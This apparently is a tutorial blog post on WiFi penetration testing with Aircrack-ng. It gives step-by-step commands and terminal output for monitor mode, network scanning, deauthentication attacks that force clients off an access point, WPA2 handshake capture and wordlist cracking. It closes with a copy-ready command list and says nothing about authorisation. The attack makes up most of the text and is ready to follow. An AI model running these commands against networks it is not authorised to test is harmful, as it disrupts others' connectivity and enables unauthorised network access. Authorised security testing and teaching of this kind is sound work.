



What is Aircrack-ng?

- ◆ **Aircrack-ng is a comprehensive suite of tools designed for assessing the security of WiFi networks. It focuses on several key areas:**
- ◆ **Monitoring:** Capturing packets and exporting data for further analysis.
- ◆ **Attacking:** Performing replay attacks, deauthentication, and creating fake access points through packet injection.
- ◆ **Testing:** Checking the capabilities of WiFi cards and drivers, including their ability to capture and inject packets.
- ◆ **Cracking:** Breaking WEP and WPA/WPA2-PSK encryption

To Install the tool - Sudo apt install aircrack-ng, Once you install and setup all the config you can use the tool for the further action.

WiFi Pentesting(wifipt) Commands using Aircrack-ng

Step 1: Enable Monitor Mode

sudo airmon-ng check kill

Kill processes interfering with monitor mode

```
(root@Abhishek)-[/home/kali]
# sudo airmon-ng check kill

File System
Killing these processes:

PID Name
1221 wpa_supplicant

Home
```

sudo airmon-ng start wlan0

Start monitor mode (interface may change to wlan0)

```
(root@Abhishek)-[/home/kali]
# sudo airmon-ng start wlan0

PHY Interface Driver Chipset
phy0 wlan0 8188eu TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
(monitor mode enabled)
```

iwconfig

Check if mode is set to "Monitor"

```
(root@Abhishek)-[/home/kali]
# iwconfig
lo          no wireless extensions.

eth0        no wireless extensions.

wlan0       unassociated Nickname:"<WIFI@REALTEK>"
            Mode:Monitor Frequency=2.457 GHz Access Point: Not-Associated
            Sensitivity:0/0
            Retry:off RTS thr:off Fragment thr:off
            Encryption key:off
            Power Management:off
            Link Quality:0 Signal level:0 Noise level:0
            Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
            Tx excessive retries:0 Invalid misc:0 Missed beacon:0

docker0     no wireless extensions.
```

Step 2: Scan Available WiFi Networks

sudo airodump-ng wlan0

```
(root@Abhishek)-[/home/kali]
# sudo airodump-ng wlan0

CH 1 ][ Elapsed: 42 s ][ 2025-02-10 11:34 ][ sorting by bssid

BSSID            PWR Beacons  #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
E8:65:84:12:34:56 -43    183        5   0   5  270  WPA2 CCMP PSK 5 * 's
3A:84:12:34:56:78 -79     34         0   0  11  180  WPA2 CCMP PSK Motorola

BSSID            STATION          PWR  Rate  Lost  Frames  Notes  Probes
(not associated)  3A:98:12:34:56:78 -84   0 - 1    0      3
(not associated)  3A:84:12:34:56:78 -88   0 - 1    0      1
(not associated)  AA:5A:12:34:56:78 -94   0 - 1  224     9
E8:65:84:12:34:56 10:68:12:34:56:78 -18   0 - 1    0      1
E8:65:84:12:34:56 B2:30:12:34:56:78 -38   0 - 1e   0      4

Quitting...

(root@Abhishek)-[/home/kali]
#
```


Step 4: Capture WPA2 Handshake

To target a specific device:

```
sudo aireplay-ng --deauth 10 -a <BSSID> -c <client_MAC> wlan0mon
```

```
(kali@Abhishek)-[~]
$ sudo aireplay-ng --deauth 10 -a C2:83:[redacted] wlan0
12:09:17 Waiting for beacon frame (BSSID: C2:83:79:3C:AF:95) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
12:09:17 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
12:09:18 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
12:09:18 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
12:09:19 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
12:09:19 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
12:09:20 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
12:09:20 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
12:09:21 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
12:09:21 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
12:09:22 Sending DeAuth (code 7) to broadcast -- BSSID: [C2:83:[redacted]]
```

```
(root@Abhishek)-[/home/kali]
# sudo airodump-ng -c 6 --bssid C2:83:[redacted] -w Wifi_Hack_Pentesting wlan0
12:09:15 Created capture file "Wifi_Hack_Pentesting-05.cap".

CH 6 ][ Elapsed: 18 s ][ 2025-02-10 12:09 ][ WPA handshake: C2:83:[redacted]

BSSID          PWR RXQ Beacons  #Data, #/s CH  MB  ENC CIPHER AUTH ESSID
C2:83:[redacted] -82  2      70      101  0   6  180  WPA2 CCMP  PSK  Redmi 9 Power

BSSID          STATION        PWR   Rate  Lost  Frames  Notes  Probes
C2:83:[redacted] DA:A1:[redacted] -74   0 - 1    0     141    Redmi 9 Power
C2:83:[redacted] BC:2F:[redacted] -77   1e- 6  615    140  EAPOL  Redmi 9 Power
```

If successful, you will see "WPA Handshake: [BSSID]".

Step 5: Crack the WiFi Password

sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID>
capture-01.cap

```
(root@Abhishek)-[/home/kali]
# aircrack-ng -w /home/kali/Documents/Abhi/Indian_Password.txt -b C2:83:00:00:00:00 wifi_Hack_Pentesting-05.cap
Reading packets, please wait ...
Opening Wifi_Hack_Pentesting-05.cap
Read 9283 packets.

1 potential targets

Aircrack-ng 1.7

[00:00:06] 37958/37958 keys tested (6890.17 k/s)

Time left: --

KEY NOT FOUND

Master Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
              00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

Step 6: Restore WiFi to Normal

sudo airmon-ng stop wlan0

```
(root@Abhishek)-[/home/kali]
# sudo airmon-ng stop wlan0

PHY      Interface      Driver      Chipset
phy0     wlan0           8188eu      TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
          (monitor mode disabled)
```

sudo systemctl restart NetworkManager

```
(root@Abhishek)-[/home/kali]
# sudo systemctl restart NetworkManager
```

Complete Command List

```
sudo airmon-ng check kill
```

```
sudo airmon-ng start wlan0
```

```
sudo airodump-ng wlan0mon
```

```
sudo airodump-ng -c <channel> --bssid <BSSID> -w capture  
wlan0mon
```

```
sudo aireplay-ng --deauth 10 -a <BSSID> wlan0mon
```

```
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID>  
capture-01.cap
```

```
sudo airmon-ng stop wlan0mon
```

```
sudo systemctl restart NetworkManager
```